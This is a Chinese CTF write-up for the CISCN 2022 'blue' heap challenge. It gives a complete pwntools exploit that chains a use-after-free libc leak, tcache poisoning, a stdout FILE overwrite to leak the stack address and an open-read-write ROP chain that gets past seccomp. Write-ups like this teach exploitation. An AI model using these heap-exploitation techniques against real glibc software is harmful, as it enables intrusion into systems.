Featured image of post [CISCN 2022 华东北]blue wp

[CISCN 2022 华东北]blue wp

字数: 2953

题面

给了二进制文件和 libc 与 ld。

1
2
3
2022-05-26 13:50  libc.so.6
2022-05-26 13:50  pwn
2022-05-26 13:50  ld.so

分析

保护全开。

1
2
3
4
5
6
7
8
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2022_华东北-blue/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

libc 版本为 libc 2.31。

1
2
❯ strings libc.so.6 | grep 'GNU C Library'
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.8) stable release version 2.31.

ida pro 分析:
因为带了 stripped 所以函数名和一些变量做了别名。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-4h]

  sub_1730();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = recv_num();
      if ( v3 != 666 )
        break;
      del_uaf();
    }
    if ( v3 > 666 )
    {
LABEL_13:
      puts_fn(a1: "Invalid choice\n");
    }
    else if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        add();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        del();
      }
    }
  }
}

add 一共有 32 个空,从小到大遍历数组元素为 0 的槽位。没办法选索引,最大 chunk 块为 0xa0(0x90)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int add()
{
  int i; // [rsp+0h] [rbp-10h]
  unsigned int size[3]; // [rsp+4h] [rbp-Ch]

  puts_fn(a1: "Please input size: ");
  *(_QWORD *)size = (unsigned int)recv_num();
  if ( size[0] > 0x90 )
    size[0] = 0x90;
  *(_QWORD *)&size[1] = malloc(size: size[0]);
  if ( *(_QWORD *)&size[1] != 0 )
  {
    puts_fn(a1: "Please input content: ");
    read_fn(a1: *(void **)&size[1], a2: size[0]);
    for ( i = 0; i <= 31; ++i )
    {
      if ( heap_addr[i] == 0 && heap_size[i] == 0 )
      {
        heap_addr[i] = *(_QWORD *)&size[1];
        heap_size[i] = size[0];
        puts_fn(a1: "Done\n");
        return i;
      }
    }
    return puts_fn(a1: "Empty\n");
  }
  else
  {
    puts_fn(a1: "Malloc Error\n");
    return -1;
  }
}

show 次数仅有一次,用一个变量进行计数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  if ( is_show > 0 )
  {
    puts(s: "ERROR");
    _exit(status: 0);
  }
  puts_fn(a1: "Please input idx: ");
  v1 = recv_num();
  if ( v1 <= 0x20 && heap_size[v1] != 0 && heap_addr[v1] != 0 )
  {
    puts_fn(a1: (const char *)heap_addr[v1]);
    ++is_show;
    return puts_fn(a1: "Done!\n");
  }
  else
  {
    puts_fn(a1: "ERROR\n");
    return -1;
  }
}

这里有两个 free 相关的函数,其中一个带有 uaf 也仅有一次机会,显然是有意而为之。

带 uaf 的 delete。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int del_uaf()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  if ( is_uaf > 0 )
  {
    puts(s: "ERROR");
    _exit(status: 0);
  }
  puts_fn(a1: "Please input idx: ");
  v1 = recv_num();
  if ( v1 <= 0x20 && heap_size[v1] != 0 && heap_addr[v1] != 0 )
  {
    free(ptr: (void *)heap_addr[v1]);
    ++is_uaf;
    return puts_fn(a1: "DONE!\n");
  }
  else
  {
    puts_fn(a1: "ERROR\n");
    return -1;
  }
}

健全的 delete:
这里清空的元素可能会被后面 add 重新复用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
int del()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts_fn(a1: "Please input idx: ");
  v1 = recv_num();
  if ( v1 <= 0x20 && heap_size[v1] != 0 && heap_addr[v1] != 0 )
  {
    free(ptr: (void *)heap_addr[v1]);
    heap_addr[v1] = 0;
    heap_size[v1] = 0;
    return puts_fn(a1: "DONE!\n");
  }
  else
  {
    puts_fn(a1: "ERROR\n");
    return -1;
  }
}

注意到程序有调用 prctl 函数,用 ceccomp 扫下显然,execve 被禁用了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[INFO]: Start tracing process 286203
[INFO]: Parsing seccomp filter loaded in process 286203
open      -> ALLOW
openat    -> ALLOW
read      -> ALLOW
write     -> ALLOW
execve    -> KILL
execveat  -> ALLOW
mmap      -> ALLOW
mprotect  -> ALLOW
sendfile  -> ALLOW
ptrace    -> ALLOW
fork      -> ALLOW

需要 orw,算比较麻烦。

利用

这道题的 uaf 和 show 仅有一次,要合理安排来泄漏信息。这里拿来丢 unsorted bins 泄漏 libc。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def select(id: int):
    io.recvuntil(b"Choice: ")
    io.sendline(str(id).encode())


def del_uaf(idx: int):
    select(666)
    io.recvuntil(b"Please input idx: ")
    io.sendline(str(idx).encode())
    print("uaf ", idx)


def show(idx: int):
    select(3)
    io.recvuntil(b"Please input idx: ")
    io.sendline(str(idx).encode())
    print("show ", idx)


def add(size: int, content: bytes):
    select(1)
    io.recvuntil(b"Please input size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Please input content: ")
    io.send(content)
    print("add ", hex(size))


def free(idx: int):
    select(2)
    io.recvuntil(b"Please input idx: ")
    io.sendline(str(idx).encode())
    print("free ", idx)

unsortedbins attack

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
for i in range(9):  # 0-8
    add(0x90, chr(i).encode() * 10)

add(0x20, b"9999999")  # 9

for i in range(7):
    free(i)  # 0-6

del_uaf(8)  # 8
show(8) # 泄漏 libc 

先将 tcache bins 0xa0 塞满然后 free 掉出来一个进 unsortedbins 这里用 uaf 访问该 chunk 拿到 libc。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
libc_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1ECBE0
print("libc base address =", hex(libc_addr))
stdout_addr = libc_addr + libc.sym["_IO_2_1_stdout_"]
environ_addr = libc_addr + libc.sym["__environ"]
write_addr = libc_addr + libc.sym["write"]
read_addr = libc_addr + libc.sym["read"]
open_addr = libc_addr + libc.sym["open"]

pop_rdi = libc_addr + 0x23b6a
pop_rsi = libc_addr + 0x02601F
pop_rdx = libc_addr + 0x142C92

注意到这里空出一个 chunk 7 没有 free,而是把 8 送进 unsortedbins。

堆重叠

因为 chunk7 和 chunk8 在内存地址空间下是紧挨着的,而且对应的 tcache bins 是满的,接下来 free 7 就直接与 8 合并,形成更大的 unsorted bins。因为前面的 UAF,所以 8 就成了在 unsorted bins 的悬置指针。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# 0xa0 tcache 仍是满的,7 不会进 tcache 而是与 8 向前合并,得到从 7 开始大小 0x140 的 unsorted chunk
free(7)  # 与 unsorted 的 8 合并
add(0x90, b"aaaaaaaa")  # 取走 chunk 腾出 tcache
# 8 现在是合并后 unsortedd chunk 内部的悬垂指针,
# free 掉会把它再放进 0xa0 tcache,造成重叠
free(8)
# 0x90 chunk,从 unsorted chunk 切出前半部分,余下部分正好覆盖到旧的 chunk header
add(0x80, b"bbbb")  # 0xb 从 H7 的 0x140 的 unsorted 大块切出前 0x70
# 接下来切出的用户区起点刚好是 chunk8
# 旧的 headser 改 next 为 stdout_addr
add(0x80, p64(0) + p64(0xA1) + p64(stdout_addr))  # 0xc
# tcache 链被改成 chunk 8 -> stdout_addr
add(0x90, b"dddd")  # 0xd 取到 chunk8

# 拿到 stdout 地址改写 FILE
add(
    0x90, p64(0xFBAD1887) + p64(0) * 3 + p64(environ_addr) + p64(environ_addr + 8) * 2
i)  # 利用 stdout 泄漏 stack
environ_stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("environ stack address =", hex(environ_stack))

free(8) 制造出堆重叠。因为前面一次 add 所以 tcache 有一个空位可以进入,这样 chunk8 就进入 tcache 的头部。
接下来 add(0x80),分配出来的 chunk 是 0x90 而不是 0xa0 所以直接从大块 0x140 的 unsorted bin 取前 0x90,剩下 0xb0。
之后 libc 做一个 remainder 的 chunk,前 0x10 做 header,而 chunk 8 所在地址就直接是用户区。刚好可以直接覆盖头,并改写 next:

1
add(0x80, p64(0) + p64(0xA1) + p64(stdout_addr))  # 0xc

覆盖前的 bins 结构:

覆盖后的 bins 结构:

IO_2_1_stdout

接下来两次 add 拿到 _IO_2_1_stdout_。

1
2
3
4
5
6
add(0x90, b"dddd")  # 0xd

# 拿到 stdout 改写 FILE
add(
    0x90, p64(0xFBAD1887) + p64(0) * 3 + p64(environ_addr) + p64(environ_addr + 8) * 2
)  # 利用 stdout 泄漏 stack

重点看拿到 stdout 地址之后写入的内容:

1
2
3
4
p64(0xfbad1887) + #
p64(0) * 3 + #
p64(environ_addr) + #
p64(environ_addr + 8) * 2 #

这里就需要补充这种改写 stdout 的泄漏地址方法了。
找个有 libc debug info 的 exp 开 gdb 调试:

1
2
p stdout
ptype stdout

出来这的 _IO_FILE:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
struct _IO_FILE {
    int _flags; // 一般为 0xfbad1887
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;

    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;

    char *_IO_buf_base;
    char *_IO_buf_end;
    ...
} *

通过改写 _IO_write_base、 _IO_write_ptr和 _IO_write_end 来泄漏 __environ。 libc 对缓冲区的基本认识是:_IO_write_base ~ _IO_write_ptr 存在待输出的数据,也就是说,libc 为认为 _IO_write_ptr - _IO_write_base = 8,从 _IO_write_base 之后 8 字节数据即 __environ 数据待输出,当之后 IO 函数出发 stdout 的 stdio 处理时,这 8 个字节就被送到 fd 1 输出,从而输出 __environ 地址。

1
2
environ_stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("environ stack address =", hex(environ_stack))

之后再 gdb 查看该地址与 $rbp 距离:

1
p (void *)_environ - (void *)$rbp

得到 128,也就是返回地址在 _environ - 0x120 的地址。

ORW

拿到 return address 就是布置 ROP,将 flag 地址写在 rbp 位置刚好,然后后面就是 ORW 的栈帧。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# open
orw = (
    b"./flag\x00\x00"
    + p64(pop_rdi)
    + p64(rbp)
    + p64(pop_rsi)
    + p64(0)
    + p64(open_addr)
)
# read
orw += (
    p64(pop_rdi)
    + p64(3)
    + p64(pop_rsi)
    + p64(environ_stack + 0x200)
    + p64(pop_rdx)
    + p64(0x50)
    + p64(read_addr)
)

# write
orw += p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(0x50) + p64(write_addr)

tcache poisoning

接下来要构造 tcache poison,当前堆指针数组布局如下:

1
2
free(3)
free(2)

[2] 是 chunk8,[3] 是 chunk8 + 0x10,之后堆布局如下:

这样我们可以先 add 一个 0x80 的改写 0x77a0 那块的 metadata 将 next 指针变成上面保存的 rbp 之后就能写入 orw。

1
add(0x80, p64(0) + p64(0xA1) + p64(rbp))

此时第二次取出 0xa0 就是 rbp 指向的栈地址。

1
2
add(0x90, b"eee")
add(0x90, orw)

然后就是:PWN!

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
from requests import delete

io = process("./pwn")
# io = remote("node4.anna.nssctf.cn", 27566)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

context.log_level = "debug"


def select(id: int):
    io.recvuntil(b"Choice: ")
    io.sendline(str(id).encode())


def del_uaf(idx: int):
    select(666)
    io.recvuntil(b"Please input idx: ")
    io.sendline(str(idx).encode())
    print("uaf ", idx)


def show(idx: int):
    select(3)
    io.recvuntil(b"Please input idx: ")
    io.sendline(str(idx).encode())
    print("show ", idx)


def add(size: int, content: bytes):
    select(1)
    io.recvuntil(b"Please input size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Please input content: ")
    io.send(content)
    print("add ", hex(size))


def free(idx: int):
    select(2)
    io.recvuntil(b"Please input idx: ")
    io.sendline(str(idx).encode())
    print("free ", idx)


def _debug():
    gdb.attach(
        io,
        gdbscript="""
    decompiler connect ida
               """,
    )


for i in range(9):  # 0-8
    add(0x90, chr(i).encode() * 10)

add(0x20, b"9999999")  # 9

for i in range(7):
    free(i)  # 0-6

del_uaf(8)  # 8
show(8)  # 泄漏 libc

libc_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1ECBE0
print("libc base address =", hex(libc_addr))
stdout_addr = libc_addr + libc.sym["_IO_2_1_stdout_"]
environ_addr = libc_addr + libc.sym["__environ"]
write_addr = libc_addr + libc.sym["write"]
read_addr = libc_addr + libc.sym["read"]
open_addr = libc_addr + libc.sym["open"]

pop_rdi = libc_addr + 0x23B6A
pop_rsi = libc_addr + 0x02601F
pop_rdx = libc_addr + 0x142C92

# 0xa0 tcache 仍是满地,7 不会进 tcache 而是与 8 向前合并,得到从 7 开始大小 0x140 的 unsorted chunk
free(7)  # 与 unsorted 的 8 合并
add(0x90, b"aaaaaaaa")  # 取走 chunk 腾出 tcache
# 8 现在是合并后 unsortedd chunk 内部的悬垂指针,
# free 掉会把它再放进 0xa0 tcache,造成重叠
free(8)
# 0x90 chunk,从 unsorted chunk 切出前半部分,余下部分正好覆盖到旧的 chunk header
add(0x80, b"bbbb")  # 0xb
# 旧的 headser 改 next 为 stdout_addr
add(0x80, p64(0) + p64(0xA1) + p64(stdout_addr))  # 0xc

add(0x90, b"dddd")  # 0xd

# 拿到 stdout 改写 FILE
add(
    0x90, p64(0xFBAD1887) + p64(0) * 3 + p64(environ_addr) + p64(environ_addr + 8) * 2
)  # 利用 stdout 泄漏 stack


environ_stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("environ stack address =", hex(environ_stack))

rbp = environ_stack - 0x128  # 找到地址

# open
orw = (
    b"./flag\x00\x00" + p64(pop_rdi) + p64(rbp) + p64(pop_rsi) + p64(0) + p64(open_addr)
)
# read
orw += (
    p64(pop_rdi)
    + p64(3)
    + p64(pop_rsi)
    + p64(environ_stack + 0x200)
    + p64(pop_rdx)
    + p64(0x50)
    + p64(read_addr)
)

# write
orw += p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(0x50) + p64(write_addr)

free(3)
free(2)

add(0x80, p64(0) + p64(0xA1) + p64(rbp))
add(0x90, b"eee")
add(0x90, orw)

io.interactive()